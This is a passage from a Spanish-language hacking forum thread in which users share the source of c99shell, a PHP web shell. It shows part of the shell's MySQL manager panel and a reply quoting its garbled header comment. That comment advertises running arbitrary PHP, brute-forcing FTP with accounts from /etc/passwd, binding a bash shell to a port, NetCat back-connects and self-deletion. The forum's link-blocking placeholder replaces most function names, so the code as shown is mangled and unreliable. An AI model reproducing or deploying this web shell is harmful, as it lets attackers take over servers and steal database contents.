  985.   $sqlquicklaunch[] = You are not allowed to view links. Register or Login("Processes",$surl."act=sql&sql_login=".You are not allowed to view links. Register or Login($sql_login)."&sql_passwd=".You are not allowed to view links. Register or Login($sql_passwd)."&sql_server=".You are not allowed to view links. Register or Login($sql_server)."&sql_port=".You are not allowed to view links. Register or Login($sql_port)."&sql_act=processes");
  986.   $sqlquicklaunch[] = You are not allowed to view links. Register or Login("Logout",$surl."act=sql");
  987.   echo "<center><b>MySQL ".You are not allowed to view links. Register or Login()." (proto v.".You are not allowed to view links. Register or Login ().") running in ".You are not allowed to view links. Register or Login($sql_server).":".You are not allowed to view links. Register or Login($sql_port)." as ".You are not allowed to view links. Register or Login($sql_login)."@".You are not allowed to view links. Register or Login($sql_server)." (password - \"".You are not allowed to view links. Register or Login($sql_passwd)."\")</b><br>";
  988.   if (You are not allowed to view links. Register or Login($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}}
  989.   echo "</center>";
  990.  }
  991.  echo "</td></tr><tr>";
  992.  if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php }
  993.  else
  994.  {
  995.   //Start left panel
  996.   if (!You are not allowed to view links. Register or Login($sql_db))
  997.   {
  998.    ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".You are not allowed to view links. Register or Login($sql_login)."&sql_passwd=".You are not allowed to view links. Register or Login($sql_passwd)."&sql_server=".You are not allowed to view links. Register or Login($sql_server)."&sql_port=".You are not allowed to view links. Register or Login($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php
  999.    $result = You are not allowed to view links. Register or Login($sql_db);
  1000.    if (!$result) {echo mysql_smarterror();}
  1001.    else
  1002.    {
  1003.     echo "---[ <a href=\"".$sql_surl."&\"><b>".You are not allowed to view links. Register or Login($sql_db)."</b></a> ]---<br>";
  1004.     $c = 0;
  1005.     while ($row = You are not allowed to view links. Register or Login($result)) {$count = You are not allowed to view links. Register or Login ("SELECT COUNT(*) FROM ".$row[0]); $count_row = You are not allowed to view links. Register or Login($count); echo "<b>»&nbsp;<a href=\"".$sql_surl."sql_db=".You are not allowed to view links. Register or Login($sql_db)."&sql_tbl=".You are not allowed to view links. Register or Login($row[0])."\"><b>".You are not allowed to view links. Register or Login($row[0])."</b></a> (".$count_row[0].")</br></b>"; You are not allowed to view links. Register or Login($count); $c++;}
  1006.     if (!$c) {echo "No tables found in database.";}
  1007.    }
  1008.   }
  1009.   else
  1010.   {
  1011.    ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php
  1012.    $result = You are not allowed to view links. Register or Login($sql_sock);
  1013.    if (!$result) {echo mysql_smarterror();}
  1014.    else
  1015.    {
  1016.     ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo You are not allowed to view links. Register or Login($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo You are not allowed to view links. Register or Login($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo You are not allowed to view links. Register or Login($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo You are not allowed to view links. Register or Login($sql_port); ?>"><select name="sql_db"><?php
  1017.     $c = 0;
  1018.     $dbs = "";
  1019.     while ($row = You are not allowed to view links. Register or Login($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
  1020.     echo "<option value=\"\">Databases (".$c.")</option>";
  1021.     echo $dbs;
  1022.    }
  1023.    ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form>
« Última modificación: Abril 28, 2013, 05:15:13 pm por 2Fac3R »
You are not allowed to view links. Register or Login

Desconectado 2Fac3R

  • *
  • Underc0der
  • Mensajes: 234
  • Actividad:
    0%
  • Reputación 0
  • Why be a king, when you can be a god
    • Ver Perfil
  • Skype: rockeg_18
« Respuesta #1 en: Abril 28, 2013, 05:18:53 pm »
Te modifiqué el post, estaba muy largo el código y daba problemas dentro del tag de "code", así que borré una pequeña parte comentada y quedó bien.

Acá dejo la parte que borré por si a alguien le interesa:

Código: PHP
  1. /*
  2. ******************************************************************************************************
  3. *
  4. *                                       c99shell.php v.1.0 pre-release build #13
  5. *                                                       Freeware license.
  6. *                                                               © CCTeaM.
  7. *  c99shell - ôàéë-ìåíåäæåð ÷åðåç www-áðîóçåð, "çàòî÷åíûé" äëÿ âçëîìà.
  8. *  Âû ìîæåòå áåñïëàòíî ñêà÷àòü ïîñëåäíþþ âåðñèþ íà äîìàøíåé ñòðàíè÷êå ïðîäóêòà:
  9.    http://ccteam.ru/releases/c99shell
  10. *
  11. *  WEB: http://ccteam.ru
  12. *  ICQ UIN #: 656555
  13. *
  14. *  Îñîáåííîñòè:
  15. *  + óïðàâëåíèå ëîêàëüíûìè è óäàëåííûìè (ftp, samba) ôàéëàìè/ïàïêàìè, ñîðòèðîâêà
  16. *    çàêà÷èâàíèå ñêà÷èâàíèå ôàéëîâ è ïàïîê
  17. *    (ïðåäâîðèòåëüíî óïàêîâûâàåòñÿ/ðàñïàêîâûâàåòñÿ ÷åðåç tar)
  18. *    ïðîäâèíóòûé ïîèñê (âîçìîæåí âíóòðè ôàéëîâ)
  19. *    modify-time è access-time ó ôàéëîâ íå ìåíÿþòñÿ ïðè ðåäàêòèðîâàíèè (äëÿ îòêë. ñì $filestealth)
  20. *  + âûïîëíåíèå ïðîèçâîëüíîãî PHP-êîäà
  21. *  + êîäèðîâùèê äàííûõ ÷åðåç md5, unix-md5, sha1, crc32, base64
  22. *  + áûñòðûé ëîêàëüíûé àíàëèç áåçîïàñíîñòè ÎÑ
  23. *  + áûñòðîå ftp-ñêàíèðîâàíèå íà ñâÿçêè login;login èç /etc/passwd (îáû÷íî äàåò äîñòóï ê 1/100 àêêàóíòîâ)
  24. *    ïîñòðàíè÷íûé âûâîä, ñîðòèðîâêà, ãðóïïîâûå îïåðàöèè íàä ÁÄ/òàáëèöàìè, óïðàâëåíèå ïðîöåññàìè SQL)
  25. *  + ñêðèïò "ëþáèò" include: àâòîìàòè÷åñêè èùåò ïåðåìåííûå ñ äåñêðèïòîðàìè è âñòàâëÿåò èõ â ññûëêè (îïöèàëüíî)
  26.      òàêæå ìîæíî èçìåíèòü $surl (áàçîâàÿ ññûëêà) êàê ÷åðåç êîíôèãóðàöèþ (ïðèíóäèòåëüíî) òàê è ÷åðåç cookie "c99sh_surl",
  27.      èäåò àâòî-çàïèñü çíà÷åíèÿ $set_surl â cookie "set_surl"
  28. *  + âîçìîæíîñòü "çàáèíäèòü" /bin/bash íà îïðåäåëåííûé ïîðò ñ ïðîèçâîëüíûì ïàðîëåì,
  29. *    èëè ñäåëàòü back connect (ïðîèçâîäèòñÿ òåñòèðîâàíèå ñîåäåíåíèÿ, è âûâîäÿòñÿ ïàðàìåòðû äëÿ çàïóñêà NetCat).
  30. *  + âîçìîæíîñòü áûñòðîãî ñàìî-óäàëåíèÿ ñêðèïòà
  31. *  + àâòîìàòèçèðîâàíàÿ îòïðàâêà ñîîáùåíèé î íåäîðàáîòêàõ è ïîæåëàíèÿõ àâòîðó (÷åðåç mail())
  32. *
  33. *       Ïðèâåäåí äàëåêî íå ïîëíûé ñïèñîê âîçìîæíîñòåé.
  34. *
  35. *   Îæèäàåìûå èçìåíåíèÿ:
  36. *  ~ Ðàçâèòèå sql-ìåíåäæåðà
  37. *  ~ Äîáàâëåíèå íåäîñòàþùèõ ðàñøèðåíèé ôàéëîâ
  38. *
  39. *  ~-~ Ïèøèòå îáî âñåõ íàéäåíûõ íåäîðàáîòêàõ, æåëàåìûõ èçìåíåíèÿõ è äîðàáîòêàõ (äàæå î ñàìûõ íåçíà÷èòåëüíûõ!)
  40.        â ICQ UIN #656555 ëèáî ÷åðåç ðàçäåë "feedback", áóäóò ðàññìîòðåíû âñå ïðåäëîæåíèÿ è ïîæåëàíèÿ.
  41. *
  42. *  Last modify: 29.07.2005
  43.  

Buen aporte!
Zalu2
« Última modificación: Marzo 27, 2014, 05:32:45 pm por Expermicid »

Desconectado D4rkC0d3r

  • *
  • Underc0der
  • Mensajes: 202
  • Actividad:
    0%
  • Reputación 0
  • \xeb\x16\x5e\x31\xd2\
    • Ver Perfil
    • Ethical Hacking, Malware Analysis, Disinfection Techniques and more...
« Respuesta #2 en: Abril 28, 2013, 08:08:29 pm »
Gracias por el aporte!!!  ;D

Saludos!

D4rkC0d3r

 

¿Te gustó el post? COMPARTILO!



Php Reverse Shell Socket Duda.

Iniciado por hdbreaker

Respuestas: 2
Vistas: 1432
Último mensaje Julio 13, 2012, 12:20:53 am
por hdbreaker
v3n0m's shell 0.01 [php]

Iniciado por v3n0m

Respuestas: 1
Vistas: 877
Último mensaje Junio 20, 2011, 05:39:40 pm
por ANTRAX
CCCP Shell

Iniciado por tfxla

Respuestas: 1
Vistas: 1328
Último mensaje Septiembre 10, 2014, 08:47:15 am
por ANTRAX
[PHP Shell] Poison Shell 0.7

Iniciado por BigBear

Respuestas: 11
Vistas: 3811
Último mensaje Noviembre 09, 2012, 10:43:56 am
por BigBear
[PHP Shell] Poison Shell 1.0 (Version Identada)

Iniciado por ANTRAX

Respuestas: 0
Vistas: 1306
Último mensaje Enero 01, 2013, 10:16:18 pm
por ANTRAX